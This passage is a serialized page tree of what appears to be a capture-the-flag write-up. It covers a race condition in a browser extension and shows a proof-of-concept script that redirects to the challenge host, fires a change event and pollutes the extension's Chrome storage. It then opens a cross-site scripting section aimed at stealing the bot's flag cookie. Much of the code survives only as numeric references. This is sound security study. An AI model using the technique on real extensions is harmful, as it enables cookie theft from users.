type":32,"tag":83,"props":8298,"children":8299},{"style":102},[8300],{"type":37,"value":688},{"type":32,"tag":83,"props":8302,"children":8303},{"style":96},[8304],{"type":37,"value":3226},{"type":32,"tag":83,"props":8306,"children":8307},{"class":85,"line":156},[8308,8312,8316],{"type":32,"tag":83,"props":8309,"children":8310},{"style":96},[8311],{"type":37,"value":3654},{"type":32,"tag":83,"props":8313,"children":8314},{"style":1664},[8315],{"type":37,"value":3456},{"type":32,"tag":83,"props":8317,"children":8318},{"style":96},[8319],{"type":37,"value":3226},{"type":32,"tag":83,"props":8321,"children":8322},{"class":85,"line":174},[8323,8327,8331],{"type":32,"tag":83,"props":8324,"children":8325},{"style":96},[8326],{"type":37,"value":3296},{"type":32,"tag":83,"props":8328,"children":8329},{"style":1664},[8330],{"type":37,"value":3728},{"type":32,"tag":83,"props":8332,"children":8333},{"style":96},[8334],{"type":37,"value":3226},{"type":32,"tag":83,"props":8336,"children":8337},{"class":85,"line":192},[8338,8343,8347,8351,8355],{"type":32,"tag":83,"props":8339,"children":8340},{"style":96},[8341],{"type":37,"value":8342},"        (",{"type":32,"tag":83,"props":8344,"children":8345},{"style":1610},[8346],{"type":37,"value":2488},{"type":32,"tag":83,"props":8348,"children":8349},{"style":96},[8350],{"type":37,"value":1879},{"type":32,"tag":83,"props":8352,"children":8353},{"style":96},[8354],{"type":37,"value":1705},{"type":32,"tag":83,"props":8356,"children":8357},{"style":96},[8358],{"type":37,"value":875},{"type":32,"tag":83,"props":8360,"children":8361},{"class":85,"line":205},[8362,8367,8372,8376,8380,8385,8389,8393,8397,8401,8405,8409,8413,8418,8422,8426,8430,8435],{"type":32,"tag":83,"props":8363,"children":8364},{"style":1610},[8365],{"type":37,"value":8366},"            const",{"type":32,"tag":83,"props":8368,"children":8369},{"style":1616},[8370],{"type":37,"value":8371}," sleep",{"type":32,"tag":83,"props":8373,"children":8374},{"style":96},[8375],{"type":37,"value":1722},{"type":32,"tag":83,"props":8377,"children":8378},{"style":96},[8379],{"type":37,"value":2187},{"type":32,"tag":83,"props":8381,"children":8382},{"style":1627},[8383],{"type":37,"value":8384},"ms",{"type":32,"tag":83,"props":8386,"children":8387},{"style":96},[8388],{"type":37,"value":1654},{"type":32,"tag":83,"props":8390,"children":8391},{"style":96},[8392],{"type":37,"value":1705},{"type":32,"tag":83,"props":8394,"children":8395},{"style":1610},[8396],{"type":37,"value":1672},{"type":32,"tag":83,"props":8398,"children":8399},{"style":90},[8400],{"type":37,"value":1677},{"type":32,"tag":83,"props":8402,"children":8403},{"style":96},[8404],{"type":37,"value":1624},{"type":32,"tag":83,"props":8406,"children":8407},{"style":1627},[8408],{"type":37,"value":1687},{"type":32,"tag":83,"props":8410,"children":8411},{"style":96},[8412],{"type":37,"value":1705},{"type":32,"tag":83,"props":8414,"children":8415},{"style":1616},[8416],{"type":37,"value":8417}," setTimeout",{"type":32,"tag":83,"props":8419,"children":8420},{"style":96},[8421],{"type":37,"value":1624},{"type":32,"tag":83,"props":8423,"children":8424},{"style":1627},[8425],{"type":37,"value":1687},{"type":32,"tag":83,"props":8427,"children":8428},{"style":96},[8429],{"type":37,"value":1635},{"type":32,"tag":83,"props":8431,"children":8432},{"style":1627},[8433],{"type":37,"value":8434}," ms",{"type":32,"tag":83,"props":8436,"children":8437},{"style":96},[8438],{"type":37,"value":8439},"));\n",{"type":32,"tag":83,"props":8441,"children":8442},{"class":85,"line":219},[8443,8448,8452,8456,8461],{"type":32,"tag":83,"props":8444,"children":8445},{"style":1664},[8446],{"type":37,"value":8447},"                await",{"type":32,"tag":83,"props":8449,"children":8450},{"style":1616},[8451],{"type":37,"value":8371},{"type":32,"tag":83,"props":8453,"children":8454},{"style":96},[8455],{"type":37,"value":1624},{"type":32,"tag":83,"props":8457,"children":8458},{"style":454},[8459],{"type":37,"value":8460},"1000",{"type":32,"tag":83,"props":8462,"children":8463},{"style":96},[8464],{"type":37,"value":1812},{"type":32,"tag":83,"props":8466,"children":8467},{"class":85,"line":232},[8468,8473,8477,8481,8485,8489,8494,8498],{"type":32,"tag":83,"props":8469,"children":8470},{"style":1627},[8471],{"type":37,"value":8472},"                document",{"type":32,"tag":83,"props":8474,"children":8475},{"style":96},[8476],{"type":37,"value":627},{"type":32,"tag":83,"props":8478,"children":8479},{"style":1627},[8480],{"type":37,"value":3811},{"type":32,"tag":83,"props":8482,"children":8483},{"style":96},[8484],{"type":37,"value":1722},{"type":32,"tag":83,"props":8486,"children":8487},{"style":102},[8488],{"type":37,"value":727},{"type":32,"tag":83,"props":8490,"children":8491},{"style":108},[8492],{"type":37,"value":8493},"http://shikanoko.challenge:8547/",{"type":32,"tag":83,"props":8495,"children":8496},{"style":102},[8497],{"type":37,"value":688},{"type":32,"tag":83,"props":8499,"children":8500},{"style":96},[8501],{"type":37,"value":1558},{"type":32,"tag":83,"props":8503,"children":8504},{"class":85,"line":245},[8505,8510,8514,8518,8522,8527,8531,8535,8539,8543],{"type":32,"tag":83,"props":8506,"children":8507},{"style":1627},[8508],{"type":37,"value":8509},"                html_elm",{"type":32,"tag":83,"props":8511,"children":8512},{"style":96},[8513],{"type":37,"value":1722},{"type":32,"tag":83,"props":8515,"children":8516},{"style":1627},[8517],{"type":37,"value":4600},{"type":32,"tag":83,"props":8519,"children":8520},{"style":96},[8521],{"type":37,"value":627},{"type":32,"tag":83,"props":8523,"children":8524},{"style":1616},[8525],{"type":37,"value":8526},"getElementById",{"type":32,"tag":83,"props":8528,"children":8529},{"style":96},[8530],{"type":37,"value":1624},{"type":32,"tag":83,"props":8532,"children":8533},{"style":102},[8534],{"type":37,"value":688},{"type":32,"tag":83,"props":8536,"children":8537},{"style":108},[8538],{"type":37,"value":3194},{"type":32,"tag":83,"props":8540,"children":8541},{"style":102},[8542],{"type":37,"value":688},{"type":32,"tag":83,"props":8544,"children":8545},{"style":96},[8546],{"type":37,"value":1812},{"type":32,"tag":83,"props":8548,"children":8549},{"class":85,"line":258},[8550,8554,8558,8562,8566,8570,8574,8578],{"type":32,"tag":83,"props":8551,"children":8552},{"style":1627},[8553],{"type":37,"value":8509},{"type":32,"tag":83,"props":8555,"children":8556},{"style":96},[8557],{"type":37,"value":627},{"type":32,"tag":83,"props":8559,"children":8560},{"style":1627},[8561],{"type":37,"value":2792},{"type":32,"tag":83,"props":8563,"children":8564},{"style":96},[8565],{"type":37,"value":1722},{"type":32,"tag":83,"props":8567,"children":8568},{"style":102},[8569],{"type":37,"value":727},{"type":32,"tag":83,"props":8571,"children":8572},{"style":108},[8573],{"type":37,"value":8136},{"type":32,"tag":83,"props":8575,"children":8576},{"style":102},[8577],{"type":37,"value":688},{"type":32,"tag":83,"props":8579,"children":8580},{"style":96},[8581],{"type":37,"value":1558},{"type":32,"tag":83,"props":8583,"children":8584},{"class":85,"line":271},[8585,8590,8594,8598,8602,8607,8611,8615,8619,8623],{"type":32,"tag":83,"props":8586,"children":8587},{"style":1610},[8588],{"type":37,"value":8589},"                let",{"type":32,"tag":83,"props":8591,"children":8592},{"style":1627},[8593],{"type":37,"value":6257},{"type":32,"tag":83,"props":8595,"children":8596},{"style":96},[8597],{"type":37,"value":1722},{"type":32,"tag":83,"props":8599,"children":8600},{"style":1610},[8601],{"type":37,"value":1672},{"type":32,"tag":83,"props":8603,"children":8604},{"style":1616},[8605],{"type":37,"value":8606}," Event",{"type":32,"tag":83,"props":8608,"children":8609},{"style":96},[8610],{"type":37,"value":1624},{"type":32,"tag":83,"props":8612,"children":8613},{"style":102},[8614],{"type":37,"value":1544},{"type":32,"tag":83,"props":8616,"children":8617},{"style":108},[8618],{"type":37,"value":6202},{"type":32,"tag":83,"props":8620,"children":8621},{"style":102},[8622],{"type":37,"value":1544},{"type":32,"tag":83,"props":8624,"children":8625},{"style":96},[8626],{"type":37,"value":1812},{"type":32,"tag":83,"props":8628,"children":8629},{"class":85,"line":284},[8630,8634,8638,8643,8647,8651],{"type":32,"tag":83,"props":8631,"children":8632},{"style":1627},[8633],{"type":37,"value":8509},{"type":32,"tag":83,"props":8635,"children":8636},{"style":96},[8637],{"type":37,"value":627},{"type":32,"tag":83,"props":8639,"children":8640},{"style":1616},[8641],{"type":37,"value":8642},"dispatchEvent",{"type":32,"tag":83,"props":8644,"children":8645},{"style":96},[8646],{"type":37,"value":1624},{"type":32,"tag":83,"props":8648,"children":8649},{"style":1627},[8650],{"type":37,"value":6228},{"type":32,"tag":83,"props":8652,"children":8653},{"style":96},[8654],{"type":37,"value":1812},{"type":32,"tag":83,"props":8656,"children":8657},{"class":85,"line":297},[8658],{"type":32,"tag":83,"props":8659,"children":8660},{"style":96},[8661],{"type":37,"value":8662},"        })();\n",{"type":32,"tag":83,"props":8664,"children":8665},{"class":85,"line":310},[8666,8670,8674],{"type":32,"tag":83,"props":8667,"children":8668},{"style":96},[8669],{"type":37,"value":3654},{"type":32,"tag":83,"props":8671,"children":8672},{"style":1664},[8673],{"type":37,"value":3728},{"type":32,"tag":83,"props":8675,"children":8676},{"style":96},[8677],{"type":37,"value":3226},{"type":32,"tag":83,"props":8679,"children":8680},{"class":85,"line":323},[8681,8685,8689],{"type":32,"tag":83,"props":8682,"children":8683},{"style":96},[8684],{"type":37,"value":3414},{"type":32,"tag":83,"props":8686,"children":8687},{"style":1664},[8688],{"type":37,"value":3194},{"type":32,"tag":83,"props":8690,"children":8691},{"style":96},[8692],{"type":37,"value":3226},{"type":32,"tag":46,"props":8694,"children":8695},{},[8696,8698,8704,8706,8712],{"type":37,"value":8697},"The first part of the script performs a redirection with ",{"type":32,"tag":79,"props":8699,"children":8701},{"className":8700},[],[8702],{"type":37,"value":8703},"document.location",{"type":37,"value":8705},". This has the effect of using the challenge's origin, as the background script will be loaded and will take ",{"type":32,"tag":79,"props":8707,"children":8709},{"className":8708},[],[8710],{"type":37,"value":8711},"pendingURL",{"type":37,"value":8713}," to extract the origin.",{"type":32,"tag":46,"props":8715,"children":8716},{},[8717,8719,8725],{"type":37,"value":8718},"The second step updates the value of the page's input element and sends the change event. This triggers the ",{"type":32,"tag":79,"props":8720,"children":8722},{"className":8721},[],[8723],{"type":37,"value":8724},"contentScript",{"type":37,"value":8726}," event, which has the effect of updating the chrome storage linked to the origin of the pendingURL, which is the challenge's origin.",{"type":32,"tag":57,"props":8728,"children":8730},{"imgSrc":8729},"https://res.cloudinary.com/dmju5zuhr/image/upload/v1731271048/writeups/shikanoko/poc_race_localhost.webp",[],{"type":32,"tag":46,"props":8732,"children":8733},{},[8734,8736,8742,8744,8749],{"type":37,"value":8735},"Thus, from the origin ",{"type":32,"tag":79,"props":8737,"children":8739},{"className":8738},[],[8740],{"type":37,"value":8741},"localhost",{"type":37,"value":8743},", we were able to pollute the chrome cache of the origin: ",{"type":32,"tag":79,"props":8745,"children":8747},{"className":8746},[],[8748],{"type":37,"value":8128},{"type":37,"value":627},{"type":32,"tag":57,"props":8751,"children":8753},{"imgSrc":8752},"https://res.cloudinary.com/dmju5zuhr/image/upload/v1731271085/writeups/shikanoko/result_poc_race.webp",[],{"type":32,"tag":39,"props":8755,"children":8757},{"id":8756},"xss",[8758],{"type":37,"value":8759},"XSS",{"type":32,"tag":46,"props":8761,"children":8762},{},[8763],{"type":37,"value":8764},"So now we have seen that we can pollute the Chrome cache of our target. Now, we need to find a way to retrieve the bot's cookie that contains the flag.",{"type":32,"tag":46,"props":8766,"children":8767},{},[8768],{"type":37,"value":8769},"For this, we will examine in detail the functions that manipulate Chrome storage during the creation of an entry.",{"type":32,"tag":68,"props":8771,"children":8772},{"lang":1393},[8773],{"type":32,"tag":73,"props":8774,"children":8775},{"className":1531,"code":5054,"language":1393,"meta":7,"style":7},[8776],{"type":32,"tag":79,"props":8777,"children":8778},{"__ignoreMap":7},[8779,8802,8853,8912,8919,9038,9045,9052,9095,9246,9397,9428,9507],{"type":32,"tag":83,"props":8780,"children":8781},{"class":85,"line":86},[8782,8786,8790,8794,8798],{"type":32,"tag":83,"props":8783,"children":8784},{"style":1610},[8785],{"type":37,"value":1613},{"type":32,"tag":83,"props":8787,"children":8788},{"style":1616},[8789],{"type":37,"value":5070},{"type":32,"tag":83,"props":8791,"children":8792},{"style":96},[8793],{"type":37,"value":1624},{"type":32,"tag":83,"props":8795,"children":8796},{"style":1627},[8797],{"type":37,"value":4828},{"type":32,"tag":83,"props":8799,"children":8800},{"style":96},[8801],{"type":37,"value":5083},{"type":32,"tag":83,"props":8803,"children":8804},{"class":85,"line":119},[8805,8809,8813,8817,8821,8825,8829,8833,8837,8841,8845,8849],{"type":32,"tag":83,"props":8806,"children":8807},{"style":1664},[8808],{"type":37,"value":5091},{"type":32,"tag":83,"props":8810,"children":8811},{"style":96},[8812],{"type":37,"value":2187},{"type":32,"tag":83,"props":8814,"children":8815},{"style":1610},[8816],{"type":37,"value":5100},{"type":32,"tag":83,"props":8818,"children":8819},{"style":1627},[8820],{"type":37,"value":4828},{"type":32,"tag":83,"props":8822,"children":8823},{"style":96},[8824],{"type":37,"value":627},{"type":32,"tag":83,"props":8826,"children":8827},{"style":1616},[8828],{"type":37,"value":5113},{"type":32,"tag":83,"props":8830,"children":8831},{"style":96},[8832],{"type":37,"value":1624},{"type":32,"tag":83,"props":8834,"children":8835},{"style":102},[8836],{"type":37,"value":1544},{"type":32,"tag":83,"props":8838,"children":8839},{"style":108},[8840],{"type":37,"value":5126},{"type":32,"tag":83,"props":8842,"children":8843},{"style":102},[8844],{"type":37,"value":1544},{"type":32,"tag":83,"props":8846,"children":8847},{"style":96},[8848],{"type":37,"value":5135},{"type":32,"tag":83,"props":8850,"children":8851},{"style":96},[8852],{"type":37,"value":875},{"type":32,"tag":83,"props":8854,"children":8855},{"class":85,"line":129},[8856,8860,8864,8868,8872,8876,8880,8884,8888,8892,8896,8900,8904,8908],{"type":32,"tag":83,"props":8857,"children":8858},{"style":1627},[8859],{"type":37,"value":5147},{"type":32,"tag":83,"props":8861,"children":8862},{"style":96},[8863],{"type":37,"value":1722},{"type":32,"tag":83,"props":8865,"children":8866},{"style":1627},[8867],{"type":37,"value":5156},{"type":32,"tag":83,"props":8869,"children":8870},{"style":96},[8871],{"type":37,"value":627},{"type":32,"tag":83,"props":8873,"children":8874},{"style":1616},[8875],{"type":37,"value":5165},{"type":32,"tag":83,"props":8877,"children":8878},{"style":96},[8879],{"type":37,"value":1624},{"type":32,"tag":83,"props":8881,"children":8882},{"style":102},[8883],{"type":37,"value":1544},{"type":32,"tag":83,"props":8885,"children":8886},{"style":108},[8887],{"type":37,"value":3403},{"type":32,"tag":83,"props":8889,"children":8890},{"style":102},[8891],{"type":37,"value":1544},{"type":32,"tag":83,"props":8893,"children":8894},{"style":96},[8895],{"type":37,"value":1635},{"type":32,"tag":83,"props":8897,"children":8898},{"style":102},[8899],{"type":37,"value":105},{"type":32,"tag":83,"props":8901,"children":8902},{"style":108},[8903],{"type":37,"value":5194},{"type":32,"tag":83,"props":8905,"children":8906},{"style":102},[8907],{"type":37,"value":1544},{"type":32,"tag":83,"props":8909,"children":8910},{"style":96},[8911],{"type":37,"value":1812},{"type":32,"tag":83,"props":8913,"children":8914},{"class":85,"line":143},[8915],{"type":32,"tag":83,"props":8916,"children":8917},{"style":96},[8918],{"type":37,"value":4999},{"type":32,"tag":83,"props":8920,"children":8921},{"class":85,"line":156},[8922,8926,8930,8934,8938,8942,8946,8950,8954,8958,8962,8966,8970,8974,8978,8982,8986,8990,8994,8998,9002,9006,9010,9014,9018,9022,9026,9030,9034],{"type":32,"tag":83,"props":8923,"children":8924},{"style":1664},[8925],{"type":37,"value":1667},{"type":32,"tag":83,"props":8927,"children":8928},{"style":1627},[8929],{"type":37,"value":5156},{"type":32,"tag":83,"props":8931,"children":8932},{"style":96},[8933],{"type":37,"value":627},{"type":32,"tag":83,"props":8935,"children":8936},{"style":1616},[8937],{"type":37,"value":5165},{"type":32,"tag":83,"props":8939,"children":8940},{"style":96},[8941],{"type":37,"value":1624},{"type":32,"tag":83,"props":8943,"children":8944},{"style":102},[8945],{"type":37,"value":3522},{"type":32,"tag":83,"props":8947,"children":8948},{"style":5239},[8949],{"type":37,"value":5242},{"type":32,"tag":83,"props":8951,"children":8952},{"style":5245},[8953],{"type":37,"value":627},{"type":32,"tag":83,"props":8955,"children":8956},{"style":454},[8957],{"type":37,"value":5252},{"type":32,"tag":83,"props":8959,"children":8960},{"style":5239},[8961],{"type":37,"value":688},{"type":32,"tag":83,"props":8963,"children":8964},{"style":102},[8965],{"type":37,"value":3522},{"type":32,"tag":83,"props":8967,"children":8968},{"style":96},[8969],{"type":37,"value":1635},{"type":32,"tag":83,"props":8971,"children":8972},{"style":102},[8973],{"type":37,"value":105},{"type":32,"tag":83,"props":8975,"children":8976},{"style":108},[8977],{"type":37,"value":5273},{"type":32,"tag":83,"props":8979,"children":8980},{"style":102},[8981],{"type":37,"value":1544},{"type":32,"tag":83,"props":8983,"children":8984},{"style":96},[8985],{"type":37,"value":2584},{"type":32,"tag":83,"props":8987,"children":8988},{"style":1616},[8989],{"type":37,"value":5165},{"type":32,"tag":83,"props":8991,"children":8992},{"style":96},[8993],{"type":37,"value":1624},{"type":32,"tag":83,"props":8995,"children":8996},{"style":102},[8997],{"type":37,"value":3522},{"type":32,"tag":83,"props":8999,"children":9000},{"style":5239},[9001],{"type":37,"value":5298},{"type":32,"tag":83,"props":9003,"children":9004},{"style":5245},[9005],{"type":37,"value":627},{"type":32,"tag":83,"props":9007,"children":9008},{"style":454},[9009],{"type":37,"value":5252},{"type":32,"tag":83,"props":9011,"children":9012},{"style":5239},[9013],{"type":37,"value":688},{"type":32,"tag":83,"props":9015,"children":9016},{"style":102},[9017],{"type":37,"value":3522},{"type":32,"tag":83,"props":9019,"children":9020},{"style":96},[9021],{"type":37,"value":1635},{"type":32,"tag":83,"props":9023,"children":9024},{"style":102},[9025],{"type":37,"value":105},{"type":32,"tag":83,"props":9027,"children":9028},{"style":108},[9029],{"type":37,"value":5327},{"type":32,"tag":83,"props":9031,"children":9032},{"style":102},[9033],{"type":37,"value":1544},{"type":32,"tag":83,"props":9035,"children":9036},{"style":96},[9037],{"type":37,"value":1812},{"type":32,"tag":83,"props":9039,"children":9040},{"class":85,"line":174},[9041],{"type":32,"tag":83,"props":9042,"children":9043},{"style":96},[9044],{"type":37,"value":1453},{"type":32,"tag":83,"props":9046,"children":9047},{"class":85,"line":192},[9048],{"type":32,"tag":83,"props":9049,"children":9050},{"emptyLinePlaceholder":123},[9051],{"type":37,"value":126},{"type":32,"tag":83,"props":9053,"children":9054},{"class":85,"line":205},[9055,9059,9063,9067,9071,9075,9079,9083,9087,9091],{"type":32,"tag":83,"props":9056,"children":9057},{"style":1610},[9058],{"type":37,"value":1613},{"type":32,"tag":83,"props":9060,"children":9061},{"style":1616},[9062],{"type":37,"value":4857},{"type":32,"tag":83,"props":9064,"children":9065},{"style":96},[9066],{"type":37,"value":1624},{"type":32,"tag":83,"props":9068,"children":9069},{"style":1627},[9070],{"type":37,"value":1630},{"type":32,"tag":83,"props":9072,"children":9073},{"style":96},[9074],{"type":37,"value":1635},{"type":32,"tag":83,"props":9076,"children":9077},{"style":1627},[9078],{"type":37,"value":1640},{"type":32,"tag":83,"props":9080,"children":9081},{"style":96},[9082],{"type":37,"value":1635},{"type":32,"tag":83,"props":9084,"children":9085},{"style":1627},[9086],{"type":37,"value":5156},{"type":32,"tag":83,"props":9088,"children":9089},{"style":96},[9090],{"type":37,"value":1654},{"type":32,"tag":83,"props":9092,"children":9093},{"style":96},[9094],{"type":37,"value":875},{"type":32,"tag":83,"props":9096,"children":9097},{"class":85,"line":219},[9098,9102,9106,9110,9114,9118,9122,9126,9130,9134,9138,9142,9146,9150,9154,9158,9162,9166,9170,9174,9178,9182,9186,9190,9194,9198,9202,9206,9210,9214,9218,9222,9226,9230,9234,9238,9242],{"type":32,"tag":83,"props":9099,"children":9100},{"style":1627},[9101],{"type":37,"value":5400},{"type":32,"tag":83,"props":9103,"children":9104},{"style":96},[9105],{"type":37,"value":1722},{"type":32,"tag":83,"props":9107,"children":9108},{"style":1627},[9109],{"type":37,"value":1727},{"type":32,"tag":83,"props":9111,"children":9112},{"style":96},[9113],{"type":37,"value":627},{"type":32,"tag":83,"props":9115,"children":9116},{"style":1616},[9117],{"type":37,"value":5165},{"type":32,"tag":83,"props":9119,"children":9120},{"style":96},[9121],{"type":37,"value":1624},{"type":32,"tag":83,"props":9123,"children":9124},{"style":102},[9125],{"type":37,"value":3522},{"type":32,"tag":83,"props":9127,"children":9128},{"style":5239},[9129],{"type":37,"value":3234},{"type":32,"tag":83,"props":9131,"children":9132},{"style":102},[9133],{"type":37,"value":3522},{"type":32,"tag":83,"props":9135,"children":9136},{"style":1664},[9137],{"type":37,"value":5437},{"type":32,"tag":83,"props":9139,"children":9140},{"style":96},[9141],{"type":37,"value":1635},{"type":32,"tag":83,"props":9143,"children":9144},{"style":102},[9145],{"type":37,"value":105},{"type":32,"tag":83,"props":9147,"children":9148},{"style":108},[9149],{"type":37,"value":5450},{"type":32,"tag":83,"props":9151,"children":9152},{"style":102},[9153],{"type":37,"value":1544},{"type":32,"tag":83,"props":9155,"children":9156},{"style":96},[9157],{"type":37,"value":2584},{"type":32,"tag":83,"props":9159,"children":9160},{"style":1616},[9161],{"type":37,"value":5165},{"type":32,"tag":83,"props":9163,"children":9164},{"style":96},[9165],{"type":37,"value":1624},{"type":32,"tag":83,"props":9167,"children":9168},{"style":102},[9169],{"type":37,"value":3522},{"type":32,"tag":83,"props":9171,"children":9172},{"style":5239},[9173],{"type":37,"value":3403},{"type":32,"tag":83,"props":9175,"children":9176},{"style":102},[9177],{"type":37,"value":3522},{"type":32,"tag":83,"props":9179,"children":9180},{"style":1664},[9181],{"type":37,"value":5437},{"type":32,"tag":83,"props":9183,"children":9184},{"style":96},[9185],{"type":37,"value":1635},{"type":32,"tag":83,"props":9187,"children":9188},{"style":102},[9189],{"type":37,"value":105},{"type":32,"tag":83,"props":9191,"children":9192},{"style":108},[9193],{"type":37,"value":5495},{"type":32,"tag":83,"props":9195,"children":9196},{"style":102},[9197],{"type":37,"value":1544},{"type":32,"tag":83,"props":9199,"children":9200},{"style":96},[9201],{"type":37,"value":2584},{"type":32,"tag":83,"props":9203,"children":9204},{"style":1616},[9205],{"type":37,"value":5165},{"type":32,"tag":83,"props":9207,"children":9208},{"style":96},[9209],{"type":37,"value":1624},{"type":32,"tag":83,"props":9211,"children":9212},{"style":102},[9213],{"type":37,"value":3522},{"type":32,"tag":83,"props":9215,"children":9216},{"style":5239},[9217],{"type":37,"value":688},{"type":32,"tag":83,"props":9219,"children":9220},{"style":102},[9221],{"type":37,"value":3522},{"type":32,"tag":83,"props":9223,"children":9224},{"style":1664},[9225],{"type":37,"value":5437},{"type":32,"tag":83,"props":9227,"children":9228},{"style":96},[9229],{"type":37,"value":1635},{"type":32,"tag":83,"props":9231,"children":9232},{"style":102},[9233],{"type":37,"value":105},{"type":32,"tag":83,"props":9235,"children":9236},{"style":108},[9237],{"type":37,"value":5540},{"type":32,"tag":83,"props":9239,"children":9240},{"style":102},[9241],{"type":37,"value":1544},{"type":32,"tag":83,"props":9243,"children":9244},{"style":96},[9245],{"type":37,"value":2805},{"type":32,"tag":83,"props":9247,"children":9248},{"class":85,"line":232},[9249,9253,9257,9261,9265,9269,9273,9277,9281,9285,9289,9293,9297,9301,9305,9309,9313,9317,9321,9325,9329,9333,9337,9341,9345,9349,9353,9357,9361,9365,9369,9373,9377,9381,9385,9389,9393],{"type":32,"tag":83,"props":9250,"children":9251},{"style":1627},[9252],{"type":37,"value":5556},{"type":32,"tag":83,"props":9254,"children":9255},{"style":96},[9256],{"type":37,"value":1722},{"type":32,"tag":83,"props":9258,"children":9259},{"style":1627},[9260],{"type":37,"value":1640},{"type":32,"tag":83,"props":9262,"children":9263},{"style":96},[9264],{"type":37,"value":627},{"type":32,"tag":83,"props":9266,"children":9267},{"style":1616},[9268],{"type":37,"value":5165},{"type":32,"tag":83,"props":9270,"children":9271},{"style":96},[9272],{"type":37,"value":1624},{"type":32,"tag":83,"props":9274,"children":9275},{"style":102},[9276],{"type":37,"value":3522},{"type":32,"tag":83,"props":9278,"children":9279},{"style":5239},[9280],{"type":37,"value":3234},{"type":32,"tag":83,"props":9282,"children":9283},{"style":102},[9284],{"type":37,"value":3522},{"type":32,"tag":83,"props":9286,"children":9287},{"style":1664},[9288],{"type":37,"value":5437},{"type":32,"tag":83,"props":9290,"children":9291},{"style":96},[9292],{"type":37,"value":1635},{"type":32,"tag":83,"props":9294,"children":9295},{"style":102},[9296],{"type":37,"value":105},{"type":32,"tag":83,"props":9298,"children":9299},{"style":108},[9300],{"type":37,"value":5450},{"type":32,"tag":83,"props":9302,"children":9303},{"style":102},[9304],{"type":37,"value":1544},{"type":32,"tag":83,"props":9306,"children":9307},{"style":96},[9308],{"type":37,"value":2584},{"type":32,"tag":83,"props":9310,"children":9311},{"style":1616},[9312],{"type":37,"value":5165},{"type":32,"tag":83,"props":9314,"children":9315},{"style":96},[9316],{"type":37,"value":1624},{"type":32,"tag":83,"props":9318,"children":9319},{"style":102},[9320],{"type":37,"value":3522},{"type":32,"tag":83,"props":9322,"children":9323},{"style":5239},[9324],{"type":37,"value":3403},{"type":32,"tag":83,"props":9326,"children":9327},{"style":102},[9328],{"type":37,"value":3522},{"type":32,"tag":83,"props":9330,"children":9331},{"style":1664},[9332],{"type":37,"value":5437},{"type":32,"tag":83,"props":9334,"children":9335},{"style":96},[9336],{"type":37,"value":1635},{"type":32,"tag":83,"props":9338,"children":9339},{"style":102},[9340],{"type":37,"value":105},{"type":32,"tag":83,"props":9342,"children":9343},{"style":108},[9344],{"type":37,"value":5495},{"type":32,"tag":83,"props":9346,"children":9347},{"style":102},[9348],{"type":37,"value":1544},{"type":32,"tag":83,"props":9350,"children":9351},{"style":96},[9352],{"type":37,"value":2584},{"type":32,"tag":83,"props":9354,"children":9355},{"style":1616},[9356],{"type":37,"value":5165},{"type":32,"tag":83,"props":9358,"children":9359},{"style":96},[9360],{"type":37,"value":1624},{"type":32,"tag":83,"props":9362,"children":9363},{"style":102},[9364],{"type":37,"value":3522},{"type":32,"tag":83,"props":9366,"children":9367},{"style":5239},[9368],{"type":37,"value":688},{"type":32,"tag":83,"props":9370,"children":9371},{"style":102},[9372],{"type":37,"value":3522},{"type":32,"tag":83,"props":9374,"children":9375},{"style":1664},[9376],{"type":37,"value":5437},{"type":32,"tag":83,"props":9378,"children":9379},{"style":96},[9380],{"type":37,"value":1635},{"type":32,"tag":83,"props":9382,"children":9383},{"style":102},[9384],{"type":37,"value":105},{"type":32,"tag":83,"props":9386,"children":9387},{"style":108},[9388],{"type":37,"value":5540},{"type":32,"tag":83,"props":9390,"children":9391},{"style":102},[9392],{"type":37,"value":1544},{"type":32,"tag":83,"props":9394,"children":9395},{"style":96},[9396],{"type":37,"value":2805},{"type":32,"tag":83,"props":9398,"children":9399},{"class":85,"line":245},[9400,9404,9408,9412,9416,9420,9424],{"type":32,"tag":83,"props":9401,"children":9402},{"style":1610},[9403],{"type":37,"value":5708},{"type":32,"tag":83,"props":9405,"children":9406},{"style":1627},[9407],{"type":37,"value":5713},{"type":32,"tag":83,"props":9409,"children":9410},{"style":96},[9411],{"type":37,"value":1722},{"type":32,"tag":83,"props":9413,"children":9414},{"style":1616},[9415],{"type":37,"value":5070},{"type":32,"tag":83,"props":9417,"children":9418},{"style":96},[9419],{"type":37,"value":1624},{"type":32,"tag":83,"props":9421,"children":9422},{"style":1627},[9423],{"type":37,"value":4828},{"type":32,"tag":83,"props":9425,"children":9426},{"style":96},[9427],{"type":37,"value":1812},{"type":32,"tag":83,"props":9429,"children":9430},{"class":85,"line":258},[9431,9435,9439,9443,9447,9451,9455,9459,9463,9467,9471,9475,9479,9483,9487,9491,9495,9499,9503],{"type":32,"tag":83,"props":9432,"children":9433},{"style":1664},[9434],{"type":37,"value":1667},{"type":32,"tag":83,"props":9436,"children":9437},{"style":1627},[9438],{"type":37,"value":5713},{"type":32,"tag":83,"props":9440,"children":9441},{"style":96},[9442],{"type":37,"value":627},{"type":32,"tag":83,"props":9444,"children":9445},{"style":1616},[9446],{"type":37,"value":5165},{"type":32,"tag":83,"props":9448,"children":9449},{"style":96},[9450],{"type":37,"value":1624},{"type":32,"tag":83,"props":9452,"children":9453},{"style":102},[9454],{"type":37,"value":1544},{"type":32,"tag":83,"props":9456,"children":9457},{"style":108},[9458],{"type":37,"value":5031},{"type":32,"tag":83,"props":9460,"children":9461},{"style":102},[9462],{"type":37,"value":1544},{"type":32,"tag":83,"props":9464,"children":9465},{"style":96},[9466],{"type":37,"value":1635},{"type":32,"tag":83,"props":9468,"children":9469},{"style":1627},[9470],{"type":37,"value":1727},{"type":32,"tag":83,"props":9472,"children":9473},{"style":96},[9474],{"type":37,"value":2584},{"type":32,"tag":83,"props":9476,"children":9477},{"style":1616},[9478],{"type":37,"value":5165},{"type":32,"tag":83,"props":9480,"children":9481},{"style":96},[9482],{"type":37,"value":1624},{"type":32,"tag":83,"props":9484,"children":9485},{"style":102},[9486],{"type":37,"value":1544},{"type":32,"tag":83,"props":9488,"children":9489},{"style":108},[9490],{"type":37,"value":5038},{"type":32,"tag":83,"props":9492,"children":9493},{"style":102},[9494],{"type":37,"value":1544},{"type":32,"tag":83,"props":9496,"children":9497},{"style":96},[9498],{"type":37,"value":1635},{"type":32,"tag":83,"props":9500,"children":9501},{"style":1627},[9502],{"type":37,"value":1640},{"type":32,"tag":83,"props":9504,"children":9505},{"style":96},[9506],{"type":37,"value":1812},{"type":32,"tag":83,"props":9508,"children":9509},{"class":85,"line":271},[9510],{"type":32,"tag":83,"props":9511,"children":9512},{"style":96},[9513],{"type":37,"value":1453},{"